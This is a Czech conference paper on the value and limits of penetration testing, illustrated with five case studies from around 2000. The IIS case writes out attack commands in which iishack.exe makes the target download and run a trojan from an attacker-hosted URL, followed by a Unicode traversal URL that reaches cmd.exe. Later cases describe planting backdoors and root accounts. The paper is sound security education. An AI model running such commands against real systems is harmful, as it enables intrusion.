Co přinese a nepřinese za užitečné informace penetrační test

Karel Miko

DCIT, s.r.o.

PENETRACE – míra odolnosti měřená hloubkou vniknutí zkušebního tělesa do zkoušeného materiálu (Akademický slovník cizích slov)

Penetrační test = průnikový test

Penetrační test je obvykle definován jako simulace hackera pokoušejícího se o průnik z internetu na veřejně přístupné servery a služby. Vyjdeme-li z definice slova „penetrace“ uvedené v mottu této prezentace, je vnímání „penetrační test = průnikový test“ naprosto správné, nicméně jak ukážu v následujících několika odstavcích, náplň penetračních testů je resp. může být podstatně širší než pouhé otestování odolnosti firemních WWW stránek.

Učiníme-li první zobecnění „hackera v internetu“ a začneme hovořit obecně o útočníkovi vně organizace, můžeme potenciální útoky (a tím pádem rovněž náplň penetračního testu) rozdělit do následujících kategorií:

- Průniky z internetu – TCP/IP hacking – toto je nejčastější a zároveň nejznámější forma útoků, které se obvykle vyznačují „viditelnými“ projevy – pozměněné WWW stránky, přesměrované DNS domény, veřejně publikované databáze uživatelů apod. Často se ovšem napadené servery stávají pouze „přestupní stanicí“, odkud hackeři podnikají útoky na skutečné cíle, tj. napadený server pouze zneužijí pro zahlazení stop. Nebezpeční těchto útoků je ve většině případů spíše v oblasti ztráty dobrého jména společnosti (servery přístupné z internetu obvykle neobsahují žádná neveřejná data), s rozvojem elektronického obchodování přes internet se však hrozby těchto útoků stanou v budoucnu podstatně závažnějšími.
- Průnik přes telefonní síť – dialup hacking – nepříliš obvyklý způsob vzdáleného útoku, obvykle je používán při pokusech o proniknutí do firemní vnitřní sítě. Útoky tohoto typu se obvykle snaží o zneužití slabin v systémech vzdáleného přístupu do vnitřní sítě prostřednictvím modemu, případně o zneužití „opomenutého“ modemu připojeného k některé pracovní stanici nebo serveru ve vnitřní síti. Četnost tohoto typu útoků je poměrně malá, ovšem na druhou stranu je nutno zdůraznit, že v případě úspěšného průniku jsou hrozby poměrně závažné.
- Průnik zneužitím selhání lidského faktoru – „social“ hacking – v současnosti podle mého názoru jedna z největších hrozeb a zároveň velmi nebezpečný trend do budoucna. Jedná se o metodu, která je typicky zneužívána k neoprávněnému získávání dat (např. za účelem špionáže, v rámci konkurenčního boje apod.) a jak již název napovídá, její princip spočívá ve využití neznalosti a neopatrnosti uživatelů. Typickou formou jsou počítačové viry a jiný škodlivý software. Asi největším problémem průniků tohoto typu je skutečnost, že se proti nim prakticky nelze bránit ryze technickými prostředky, ale je nutno tyto technické prostředky doplnit vhodnými organizačními opatřeními, která jsou dodržována a patřičně kontrolována.

Pokud se pokusíme v našem zobecnění pokračovat, můžeme pokusy o průnik z vnějšího prostředí rozšířit o pokusy zevnitř – tj. průniky z vnitřní sítě. Jakkoli Vám může tato myšlenka připadat přehnaně paranoidní, věřte že z pohledu ochrany citlivých dat vaší společnosti je vnitřní nepřítel (např. nespokojený zaměstnanec) podstatně nebezpečnější než útočník vně společnosti. Útoky zevnitř jsou tolik nebezpečné hned z několika důvodů:

- Útočník (např. zmíněný nespokojený zaměstnanec) požívá důvěry společnosti a má přidělen přístup k některým datům, je oprávněným uživatelem v provozovaných systémech (operační systémy, databáze apod.), prostřednictvím vnitřní počítačové sítě má přístup obvykle k většině interních serverů (i k těm, na kterých není oprávněným uživatelem).
- Technická opatření většiny organizací obvykle nepředpokládají, že by se někdo ze zaměstnanců pokoušel o průnik zneužitím bezpečnostní slabiny provozovaných operačních systémů nebo aplikací – např. u interních serverů často nejsou aplikovány patche, service packy nebo hotfixy řešící závažné bezpečnostní chyby.
- Cílem vnitřních útoků je obvykle získání citlivých dat za účelem jejich vyzrazení (např. v rámci konkurenčního boje), neoprávněné modifikace dat nebo dokonce jejich poškození, a lze proto očekávat, že bude v zájmu útočníka veškeré aktivity důkladně maskovat, což velmi znesnadňuje jejich odhalení. Přestože jsem se s tím v praxi nesetkal, dovedu si představit situaci, kdy je zaměstnanec poměrně dlouhou dobu schopen tímto způsobem opakovaně „poškozovat“ svého zaměstnavatele.

- Často se setkávám v praxi s názorem „náš podnik je založen na důvěře“, nutno si ovšem uvědomit, že zaměstnanec (tj. oprávněný uživatel informačního systému) může být pouze zneužit a stát se prostředníkem útoku, aniž by si toho byl vědom (např. použitím trojského koně nebo jiné formy škodlivého software).

Jak je tedy vidět potenciálních možností neoprávněného průniku k Vašim datům je celá řada. Z tohoto důvodu je nutno vnímat rovněž penetrační testy v širších souvislostech.

Techniky a postupy používané při penetračních testech lze velmi stručně charakterizovat následovně:

- TCP/IP hacking – prvním krokem testu je tzv. portscan (např. nástrojem NMAP), následuje použití automatických nástrojů pro testování slabin (např. ISS, CyberCop, Nessus), na základě výsledků automatizovaných testů je provedeno manuální testování a hlubší prozkoumání „podezřelých“ nálezů (např. hledání slabin podobných některým veřejně publikovaným – nejčastěji používané databáze slabin: BUGTRAQ, CVE) a některé specifické testy (např. útoky na heslo, útoky protokolem NETBIOS).
- Dialup hacking – použité techniky a metody jsou téměř totožné jako v předchozím případě, zadáním ovšem není seznam IP adres nýbrž seznam telefonních čísel (případně rozsah telefonních čísel, u kterých je metodou tzv. wardialingu testována přítomnost modemu), konkrétní provedení je velmi závislé na způsobu provozu testovaného modemového připojení.
- „social“ hacking – při tomto testu je jednak testována účinnost antivirové ochrany vůči virům přicházejícím z internetu (elektronickou poštou nebo stažením zavirovaného souboru internetovým prohlížečem – tj. protokolem FTP, HTTP nebo HTTPS), dále lze použitím testovacího trojského koně změřit, jaké procento uživatelů spustí podezřelou přílohu e-mailové zprávy a zároveň lze v praxi demonstrovat hrozby, které ze strany skutečných trojských koní vyplývají (např. vyzrazení prakticky libovolného dokumentu, ke kterému má uživatel přístup).

Vnější test je možno provádět v několika variantách:

- se znalostí vs. bez znalosti – test „bez znalosti“ předpokládá omezenou, případně žádnou znalost konzultanta o prostředí podniku a tím je velmi blízký reálnému útoku, test „se znalostí“ se naopak opírá o detailní informace o testovaném prostředí (např. síťová topologie, detaily o provozovaných aplikacích, popis bezpečnostních mechanizmů apod.),
- skrytý vs. kooperativní – o skrytém testu nejsou informováni řadoví pracovníci systémové podpory podniku, čímž se prováděný test blíží reálnému pokusu o průnik a prověří reakční mechanizmy při skutečném útoku, zatímco kooperativní penetrační test staví na plné informovanosti a spolupráci zainteresovaných pracovníků systémové podpory.

Interní test se pochopitelně vždy provádí ve spolupráci s pracovníky systémové podpory podniku a s plnou znalostí o jeho prostředí. U vnitřního testu, vzhledem k poměrně velkému počtu zařízení ve vnitřní síti a vysoké pracnosti manuálního testování, se obvykle v prvním kroku provádí automatizovaný test všech zařízení, ale důkladným manuálním testů jsou podrobena pouze vybraná zařízení (obvykle klíčové servery příp. reprezentanti některých pracovních stanic).

Výsledek penetračního testu Vám poskytne obrázek o tom, čeho by při současné úrovni znalostí mohl dosáhnout útočník při reálném útoku

Vzhledem k tomu, že konzultant provádějící penetrační test používá velmi podobné nástroje, techniky a postupy jako reální útočníci, je hlavním přínosem penetračního testu praktické prověření bezpečnostních mechanizmů. Výsledkem testu je poměrně přesný obrázek o tom, čeho by mohl dosáhnout v případě skutečného útoku reálný útočník při aktuální úrovni znalostí o bezpečnostních slabinách a úrovni v současnosti dostupných technických prostředků.

Rád bych ovšem upozornil na některé další velmi podstatné skutečnosti týkající se výsledků penetračních testů:

- Problematickým bodem penetračních testů je faktor času. Pokud budeme srovnávat konzultanta provádějícího penetrační test a reálného útočníka, je možné předpokládat zhruba stejnou úroveň znalostí, přibližně stejné nástroje, techniky a použité postupy, ovšem zcela zjevnou nevýhodou konzultanta je časové omezení (u externích testů obvykle několik dní). V porovnání s konzultantem může reálný útočník přípravě i vlastnímu provedení pokusu o průnik věnovat podstatně více času a tím výrazně zvýšit své šance na „úspěch“.
- Je třeba si uvědomit, že zjištění učiněná v rámci penetračního testu vypovídají o účinnosti bezpečnostních opatření při úrovni znalostí (publikované bezpečnostní slabiny apod.) a úrovni dostupných technických prostředků v době provádění testu, z čehož logicky vyplývá, že vypovídací hodnota výsledku penetračního testu, a to ať mluvíme o externím nebo interním, s postupem času klesá (jsou publikovány nové bezpečnostní slabiny, jsou zveřejněny nové techniky průniků apod.).

- Ani negativní výsledek penetračního testu neznamená odhalení absolutně všech bezpečnostních slabin testovaných komponent (operačních systémů, aplikací apod.) – dosavadní zkušenosti jednoznačně ukazují, že četnost odhalování nových bezpečnostních slabin v běžně provozovaných aplikacích a systémech s postupem času rozhodně neklesá (dodnes jsou odhalovány další a další bezpečnostní slabiny např. u Windows NT 4.0 a Internet Information Serveru 4.0 z dílny společnosti Microsoft), ba naopak díky snaze výrobců předehnat konkurenci jsou často uváděny na trh produkty, u nichž bezpečnost jejich provozu rozhodně nebyla prioritou jejich autorů.

V rámci penetračního testu nejsou ovšem podrobena testování pouze technická opatření, v případě skrytého testu to jsou rovněž opatření organizační (zejména kontrolní a monitorovací mechanizmy související s dozorem testovaných zařízení a systémů). Ačkoli Vám to může připadat jako okrajová záležitost, věžte že praktické zkušenosti jsou velmi alarmující – např. je naprosto běžné, že v případě „úspěšné“ penetrace systémoví administrátoři tento incident vůbec nezaregistrují (příklad z praxe: penetrován firewall a na něm následně založen nový uživatel nebo kompromitován WWW server a následně instalován backdoor – v obou případech se administrátoři o průniku dozvěděli až na prezentaci výsledků penetračního testu). Pochopitelně pokud jde o životně důležité služby, jejichž nefunkčnost je „očividná“ (např. elektronická pošta), jsou problémy identifikovány poměrně rychle, většinou ovšem není zjišťována příčina, ale pouze řešeny následky.

Pro provedení penetračního testu nevhodný okamžik v podstatě neexistuje

V této části příspěvku bych se rád chvíli pozastavil nad otázkou, kdy je ten správný okamžik k provedené penetračního testu. Pochopitelně tuto otázku poměrně často diskutuji, a proto se nejdříve pokusím učinit stručný přehled argumentů používaných pro odložení penetračního testu:

- Konfigurace naší sítě není v definitivním stavu, právě probíhají poměrně rozsáhlé změny, bude vhodnější provést test až se situace uklidní.
- Náš současný firewall je pouze dočasné řešení, plánujeme v brzké době jeho nahrazení. Momentálně provádíme upgrade našeho systému elektronické pošty.
- WWW stránky pro nás provozuje externí firma, přístup do internetu jsme prozatím omezili pouze na elektronickou poštu, myslíme si, že nám nic nehrozí.
- Test povědomí uživatelů (pozn. rozeslání testovacího trojského koně) je v našem případě zbytečný, výsledek lze odhadnout a bude tristní – podezřelou přílohu e-mailové zprávy spustí téměř všichni.

V každém z výše uvedených tvrzení je kousek pravdy, je však třeba si uvědomit také následující fakta:

- Komunikační infrastruktura je téměř v každém podniku poměrně dynamicky se rozvíjející se oblastí, stačí se poohlédnout jaké komunikační technologie byly používány před rokem případně před dvěma, jinými slovy prakticky téměř nelze definovat „definitivní příp. cílový stav“ počítačové sítě.
- Co se týče dočasných variant, ať už u firewallu, systému elektronické pošty nebo jiných aplikací a systémů, je nutno si uvědomit, že reálný útočník zcela jistě nebude brát ohled na to, že firewall běží v dočasném nebo testovacím režimu. U každého zařízení, které je nějakým způsobem zpřístupněno z internetu je třeba počítat s tím, že se stává potenciálním terčem útoku libovolného uživatele internetu (přestože např. server nepracuje s žádnými důvěrnými informacemi, může se stát přestupní stanicí pro následný útok dále do „nitra“ podniku).
- Jak lze poměrně jednoduše demonstrovat na příkladu existujících počítačových virů šířících se e-mailem (jako např. známý I-LOVE-YOU), je i pouhá komunikace elektronickou poštou postačující k provedení útoku zneužitím selhání lidského faktoru. Výsledkem takového útoku může být např. vyzrazení důvěrných informací, které mohou být téměř bez vědomí uživatele odeslány útočníkovi do internetu.
- Pokud jde o rezignaci na zmiňovaný test s trojským koněm, který ukáže jaké procento uživatelů neváhá spustit e-mailovou přílohu pocházející z nedůvěryhodného zdroje, je dost obtížné tento „nezájem“ překonat, každopádně z vlastní zkušenosti vím, že jedna věc je teoreticky diskutovat o potenciálních hrozbách, které trojský kůň znamená, ovšem něco zcela jiného je vidět skutečný výsledek, kdy testovací trojský kůň po spuštění pouze vylistuje a odešle obsah přístupných disků, a v těchto výpisech se nachází např. smlouvy, podklady pro porady vedení a jiné dokumenty, které by se rozhodně neměly dostat do nepovolaných rukou.

Podobným způsobem by bylo možno diskutovat o vhodném okamžiku poměrně dlouho, výsledkem této diskuze by ovšem s největší pravděpodobností byl závěr, že některé okamžiky jsou pro provedení penetračního testu méně vhodné, nicméně osobně jsem přesvědčen, že vyloženě nevhodný okamžik pro penetrační test v podstatě neexistuje.

Pokud bych měl zmínit některé situace, kdy je provedení penetračního testu naopak přímo výhodné, byla by to např. změna v topologii počítačové sítě (zejména pokud se dotýká vnějších komunikací), instalace nové veřejně přístupné aplikace, provedení upgrade operačního systému příp. některé z provozovaných aplikací na klíčových serverech nebo přímo na firewallu, zavedení nových organizačních opatření (např. důsledný monitoring firewallu) apod.

Na tomto místě bych také rád znovu upozornil na skutečnost, že vypovídající hodnota výsledků penetračního testu s postupem času klesá, pokud navíc uvážíme, že změny v provozovaných aplikacích (upgrade, patche, service packy, apod.) jsou rovněž poměrně časté, je vhodné penetrační test s jistým časovým odstupem opakovat.

Logicky vyvstávají minimálně následující dvě otázky:

- Jak často je teda rozumné penetrační test opakovat?
- Není to zbytečně nákladné provádět opakované testy?

Na první otázku není jednoduchá odpověď, ovšem na základě zkušeností ze současné praxe lze doporučit zopakovat penetrační test zhruba 2-3 krát ročně – pro tento údaj nemám žádné přísně logické zdůvodnění, spíše vycházím z empirického sledování frekvence publikovaných bezpečnostních slabin a obvyklé dynamiky změn v oblasti IT našich podniků.

Co se týče nákladnosti opakovaný testů, může doporučení na opakovaný test působit jako „finta“ dodavatele, pokusím se ovšem ukázat, že obavy z nákladnosti opakovaných testů jsou možná zbytečně přehnané.

- U opakovaných testů je možno se rozhodnout, v jakém rozsahu a jak důkladně bude test proveden (kompletní test, pouze test internetového připojení, pouze test nově instalované veřejné WWW aplikace, test odolnosti firewallu po jeho předchozím upgrade apod.)
- Je možno zvážit, zda-li na provedení testu pozvat externí firmu nebo provést testování vlastními silami. Řada činnosti v rámci testu je totiž prováděna pomocí automatických nástrojů, z nichž některé jsou dokonce volně přístupné na internetu. Obvykle je možné dohodnout se s dodavatelem penetračního testu na instalaci některého z těchto nástrojů a vyškolení odborného pracovníka.

Penetrační test nevyřeší Vaši bezpečnost, je pouze kontrolním nástrojem

Na tomto místě bych rád podiskutovat nad samotným principem a filozofií penetračních testů. Penetrační testy spolu například s bezpečnostními audity patří do skupiny služeb, které by se daly označit jako „kontrolní“. To znamená, že cílem penetračního testu není vyřešit bezpečnostní problémy testovaných zařízení, systémů nebo aplikací, ale jistým způsobem (v případě penetračního testu simulací pokusu o průnik) prověřit a zhodnotit úroveň zabezpečení, a to jak na úrovni technických, tak i organizačních opatření.

Obsahem závěrečné zprávy o průběhu a výsledcích penetračního testu jsou pochopitelně také konkrétní návrhy opatření, která nějakým způsobem eliminují nalezené slabiny, tato opatření ovšem rozhodně nelze vnímat tak, že jejich implementací vyřešíme všechny otázky zabezpečení testovaných zařízení. Vzhledem k tomu, že základní filozofií penetračního testu je simulace pokusu o průnik prostřednictvím sítě (ať už z internetu nebo z vnitřní LAN) – zjednodušeně řečeno „z dálky“, existuje celá řada slabin, které obvykle nejsou, a ani z principu nemohou být v rámci penetračního testu odhaleny.

Mezi příklady toho, co penetrační test rozhodně neodhalí patří jakékoli slabiny související s fyzickou bezpečností, chybně nastavená přístupová práva, logování nebo systémový audit, nedostatečná pravidla řízení přístupu (např. triviální hesla, která se čistě náhodou nepodařilo „uhádnout“), penetrační test není schopen detekovat dřívější napadení systému, na základě testu nelze např. posoudit celkovou koncepci bezpečnosti apod.

Na druhou stranu je penetrační test prakticky jediným způsobem jak například odhalit, že se systém nebo aplikace chová jinak než deklaruje její výrobce resp. dodavatel – např. za jistých okolností dojde k jejímu zhroucení, zahlcení, je možno obejít formálně velmi přísné bezpečnostní mechanizmy, nalezenou slabinu lze zneužít např. k získání neoprávněného přístupu k datům v systému apod.

Penetrační test není náhradou, ale vhodným doplňkem bezpečnostního auditu

Jak jsem již uvedl patří bezpečnostní audit i penetrační test společně do skupiny kontrolních služeb souvisejících s informační bezpečností. Z toho vyplývá, že obě tyto služby mají za cíl posoudit úroveň zabezpečení aplikací, systémů nebo zařízení, která jsou předmětem testu resp. auditu. Mezi odborníky se můžete setkat s různými pohledy na vztah mezi penetračním testem a bezpečnostním auditem, někteří tvrdí, že penetrační test je nejvyšší možný stupeň jistoty zabezpečení, naopak jiní považují penetrační test za nahodilý, nesystematický způsob posouzení bezpečnosti, jehož negativní výsledek spíše vytváří iluzi o úrovni bezpečnostních opatření.

Jak už to tak obvykle chodí, pravda je někde uprostřed mezi těmito extrémními názory. Pro lepší názornost si nejprve dovolím obě služby charakterizovat na analogii s domem a záměrem zjistit jeho odolnost proti vloupání.

- Penetrační test – v tomto případě si najmete odborníka, kterého postavíte před zamčený dům a aniž byste mu sdělili jakékoli další informace ho požádáte, aby se pokusil proniknout dovnitř (analogie: najmete si konzultanta, který se snaží kompromitovat např. Vaši kritickou WWW aplikaci).
- Bezpečnostní audit – zde si opět povoláte odborníka, kterému předáte plán domu a klíče a požádáte ho, aby posoudil, jak je dům odolný proti zlodějům (analogie: při auditu WWW serveru se auditor přihlásí k serveru s oprávněním správce a při posuzování má k dispozici kompletní informaci o nastavení operačního systému, jednotlivých aplikací apod.).

Již v předchozí části příspěvku byly uvedeny příklady bezpečnostních slabin, které nelze (nebo jen velmi obtížně) v rámci penetračního testu odhalit a naopak příklady slabin, které lze odhalit de facto pouze penetračním testem. Podíváme-li se na zmíněné příklady slabin z pohledu bezpečnostního auditu, zjistíme, že to, co penetrační test neodhalí (nedostatečná fyzická bezpečnost, nastavení přístupových práv, pravidla řízení přístupu, zakládání/rušení uživatelů apod.) je téměř vždy předmětem šetření v rámci bezpečnostního auditu, který případné slabiny odhalí.

Z výše uvedeného tedy vyplývá, že penetrační test a bezpečnostní audit nelze považovat za konkurenční, vzájemně nahraditelné služby, ale za služby, které se velmi vhodně doplňují. Z tohoto důvodu je v praxi velmi často nabízen bezpečnostní audit společně s penetračním testem, neboť kombinace obou těchto produktů poskytuje velmi komplexní obrázek o úrovni zabezpečení prověřovaného zařízení, systému nebo aplikace.

Principy několika úspěšných průniků

Pro řadu lidí jsou některé veřejně publikované případy úspěšných průniků považovány za téměř neuvěřitelné příhody spadající spíše do oblasti špionážních románů. V závěru mého příspěvku bych se rád pokusil tento mýtus alespoň částečně narušit a na několika příkladech ukázat některé principy úspěšných průniků.

Kromě jednoho případu vychází použité příklady z reálné praxe, z důvodů především časově omezeného prostoru nejsou jednotlivé příklady diskutovány na úrovni technických detailů.

Příklad 1 - Stát se „hackerem“ není až tak složité

Výchozí situace – mějme fiktivní společnost Victim, s.r.o., která je připojena k internetu a provozuje pouze jeden WWW server – www.victim.cz. Pro tento WWW server používá Internet Information Server 4.0 (IIS4) a operačním systém Windows NT 4.0 SP5). Společnost učinila všechna potřebná opatření pro zajištění bezpečnosti – používá pokročilé bezpečnostní technologie (firewall, Intrusion detection system, apod.), jediná síťová služba přístupná z internetu je port 80 na výše zmíněném WWW serveru.

Princip útoku – základní princip tohoto útoku spočívá ve způsobení tzv. „buffer overflow“ na vzdáleném WWW serveru (cíl útoku), a to způsobem, kdy je „hroutícímu se“ WWW serveru vhodně podsunut speciální spustitelný kód, který po spuštění provede download a spuštění trojského koně, jenž útočníkovi „zpřístupní“ dotyčný WWW server.

Jak to může vypadat v praxi

Přestože výše popsaný princip útoku zní poměrně složitě, poté co je podobná slabina včetně tzv. „exploitu“ publikována, nepotřebuje útočník celkem žádnou speciální znalost.

Exploit = obvykle program (příp. jeho zdrojový kód), který po spuštění provede „všechny potřebné“ kroky a prakticky demonstruje zneužití konkrétní bezpečnostní slabiny.

Útočníkovi k „nabourání“ serveru naší fiktivní společnosti v podstatě stačí učinit následující čtyři poměrně jednoduché kroky:

- získá na internetu informaci o popsané chybě v Internet Information Serveru (např. na http://www.ntbugtraq.com vyhledáním fráze „IIS hack“) a dva klíčové soubory ncx.exe a iishack.exe potřebné ke zneužití slabiny (např. na adrese http://packetstorm.securify.com vyhledáním klíčových slov „iishack.exe ncx.exe“),
- na nějaký web server umístí soubor ncx.exe (řekněme, že tento soubor umístí na adresy http://www.freeweb.com/~hacker/ncx.exe),
- na svém počítači spustí příkaz *x:\hackingtools> iishack www.victim.cz 80 www.freeweb.com/~hacker/ncx.exe*,
- nyní spustí-li příkaz *x:\hackingtools> telnet www.victim.cz 80* připojí se na server, získá přístup k příkazové řádce serveru (interpretu příkazů – cmd.exe) a disponuje systémovými právy (tj. de facto kompletně ovládnul server).

Záměrně jsem zvolil bezpečnostní slabinu, která byla publikována již poměrně dávno (zhruba v polovině roku 1999) a lze předpokládat, že bude v současné době na většině serverů již ošetřena – to abych nebyl nařčen z návodu k nekalé činnosti. Rád bych ovšem upozornil na jednoduchost provedení popsaného útoku – přestože odhalení této bezpečnostní slabiny zcela jistě vyžadovalo netriviální čas a velmi detailní znalosti o inkriminovaném operačním systému a WWW serveru, poté co byla slabina publikována včetně exploitu (v tomto případě program iishack.exe) je její zneužití velmi jednoduchou záležitostí.

Příklad 2 – MS Exchange – nalezení slabiny podobné jiné publikované slabině

Popis slabiny

V rámci testu bylo zjištěno, že SMTP brána na firewallu propustí zprávy s ne zcela korektní RFC 822 hlavičkou (detaily záměrně neuvádím), které způsobují kolaps MS Exchange ve vnitřní síti (chyba podobná publikované slabině BUGTRAQ-1333).

BUGTRAQ-1333 Microsoft Outlook and Exchange are both vulnerable to denial of service attacks through incoming email if both bcc: and Reply-to: or Return-Path: and From: fields are left blank. Outlook will crash upon the delivery of these particular email messages and Exchange will produce an error stating that the message is not deliverable and to check for sufficient memory or disk space.

Případ z praxe

V rámci testu byl prakticky demonstrován způsob, kterým může prakticky kdokoli v internetu omezit interní systém elektronické pošty podniku, a to pouhým odesláním vhodně „deformované“ zprávy na existující e-mailovou adresu v rámci dotyčného podniku.

Příklad 3 – Ještě jednou IIS - publikovaná slabina

Popis slabiny

CAN-2000-0884 IIS 4.0 and 5.0 allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain UNICODE encoded characters, aka the "Web Server Folder Traversal" vulnerability.

Pokud máte uloženy Vaše WWW stránky v adersáři d:\inetpub\wwwroot\companyweb\ a Váš server je postižen výše uvedenou slabinou, je možno zadáním následujícího URL do internetového prohlížeče

http://www.firma/../../../WINNT/SYSTEM32/CMD.EXE (znaky '..' je třeba zapsat v UNICODE kódování)

docílit například spuštění interpretu příkazů.

Případ z praxe

WWW server byl otestován na slabinu CAN-2000-0884, kterýžto test byl pozitivní. Tato slabina umožnila spustit na cílovém počítači libovolný příkaz a tedy jejím prostřednictvím byla získána plná kontrola nad uživatelským účtem IUSR_WEBSENSE (pod tímto účtem je provozován WWW server). Tento účet je sice (teoreticky) neprivilegovaný, ale:

- kontrola nad ním útočníkovi zprostředkuje přímý přístup do lokální sítě (resp. demilitarizované zóny), do které je napadený počítač zapojen, přičemž lze takto snadno obejít omezení způsobená případným firewallem stojícím mezi útočníkem připojeným k Internetu a tímto počítačem resp. touto sítí,
- útočník mající kontrolu nad tímto účtem se může pokusit dosáhnou eskalace svých oprávnění zneužitím nevhodně nastavených přístupových práv na systémových adresářích nebo souborech (což není v standardní instalaci MS Windows NT resp. 2000 nic neobvyklého: pro demonstraci byl v tomto konkrétním případě vytvořen soubor `C:\I_was_here`), případně systémových položkách registry, nebo zneužitím slabiny v některé privilegované službě (to však nebylo nijak otestováno).

Příklad 4 – Průnik postupným zneužitím dvou slabin

Popis slabin

BUGTRAQ-908 The version of Netscape FastTrack server that ships with UnixWare 7.1 is vulnerable to a remote buffer overlow. By default, the httpd listens on port 457 of the UnixWare host and serves documentation via http. If you pass the server a GET request with more than 367 characters, the stack overflows and the EIP is overwritten making it possible to execute arbitrary code with the privileges of the httpd (usually nobody).

CVE-1999-0866 Buffer overflow in UnixWare xauto program allows local users to gain root privilege.

Případ z praxe

Na testovaném serveru byl provozován na speciálním portu WWW server s nápovědou k operačnímu systému (v tomto případě SCO). Použitý software byl Netscape FastTrack verze 2.01a. Přístup k tomuto speciálnímu HTTP portu byl získám poté, co se podařilo použitím vhodné fragmentace IP paketů úspěšně obejít filtrovací pravidla firewallu chránícího zmíněný server.

Služba byla testována na BUGTRAQ-908 a test byl pozitivní. Tím byla získána kontrola nad účtem `nobody` na testovaném serveru. Ačkoli samo ovládnutí byť neprivilegovaného účtu je poměrně závažný problém, bylo v tomto případě úspěšně zneužito další slabiny použitého operačního systému, CVE-1999-0866, a tím byla získána superuživatelská práva, čili absolutní kontrola nad serverem.

Po získání superuživatelských práv byly provedeny následující kroky: byla vytvořena "zadní vrátka" – soubor `/sbin/scoui` (libovolnému uživateli spustí shell běžící pod superuživatelem), účtu `nobody` bylo nastaveno heslo "heslo", byl vytvořen nový uživatelský účet iwashere s heslem "heslo" a byl vytvořen soubor `/tmp/.i_was_here`.

Příklad 5 – X11 – téměř neuvěřitelná souhra náhod

Popis slabiny

V tomto případě nebylo zneužito žádné konkrétní bezpečnostní slabiny, ale spíše chybné konfigurace systému a souhry několika dalších faktorů (tři hlavní faktory jsou v dalším textu označeny).

Případ z praxe

Na testovaném serveru (jednalo se o WWW server) byl nalezen server systému X11, podle seznamu podporovaných extenzí protokolu zřejmě verze R6.3, který běžel na konzoli počítače.

Přístup k tomuto X serveru nebyl nijak omezen (1. faktor), což je samo o sobě závažný problém, protože i bez dalších předpokladů to např. umožňuje útočníkovi odposlouchávat prakticky bez omezení stisky kláves a tak např. odposlechnout hesla zadávaná do programů, jejichž uživatelské rozhraní je na tomto X serveru. V tomto případě byla navíc v X serveru na konzoli spuštěna superuživatelská seance – tj. na konzoli byl přihlášen uživatel root (2. faktor). Po bližším ohledání bylo zjištěno, že kromě jiných, je na konzoli otevřeno okno s terminálem (3. faktor), tato skutečnost spolu s přítomností extenze XTest umožnila útok spočívající v přemístění okna s terminálem na popředí a vložení textu libovolného příkazu do tohoto terminálu. Tím byla získána superuživatelská práva, čili absolutní kontrola nad počítačem.

Po získání superuživatelských práv byly provedeny následující kroky: byl vytořen nový účet iwashere s prázdným heslem ekvivalentní superuživateli (tj. mající uid 0), byl upraven soubor `/etc/motd` a do úvodní WWW stránky byl vložen komentář "I was here“. Nebyl podniknut žádný pokus o odstranění stop po útoku kromě ukončení superuživatelské seance na konzoli.

Závěr

Doufám, že se mi tímto příspěvkem podařilo srozumitelným způsobem seznámit publikum nejen se samotnou definicí penetračního testu, ale především s přínosy a užitkem, které jim penetrační testy mohou přinést a rovněž, že se mi podařilo nechat alespoň letmo nahlédnout do zákulisí této do jisté míry specifické služby.

Pro zájemce o více informací uvádím některé zajímavé WWW adresy:

http://cve.mitre.org – databáze veřejně publikovaných slabin CVE

http://www.securityfocus.com – další databáze veřejně publikovaných slabin BUGTRAQ

http://www.ntbugtraq.com – databáze slabin zaměřená na platformu Windows NT/2k

http://www.nessus.org – NESSUS automatický nástroj pro testování bezpečnostních slabin

http://packetstorm.securify.com – internetový portál zaměřený na problematiku bezpečnosti

Autor

Autor vystudoval MFF UK v Praze, od roku 1996 zaměstnanec DCIT, s.r.o., kde působí jako vedoucí konzultant se zaměřením na oblasti – informační bezpečnost (penetrační testy, bezpečnostní audity, zavádění systému informační bezpečnosti), audit IS/IT, e-business, výběrová řízení.

Mgr. Karel Miko
DCIT, s.r.o.
José Martího 2/407, 162 00 Praha 6
tel.: (02) 3536 3342
`e-mail: miko@dcit.cz`
`http://www.dcit.cz`

✧ ✧ ✧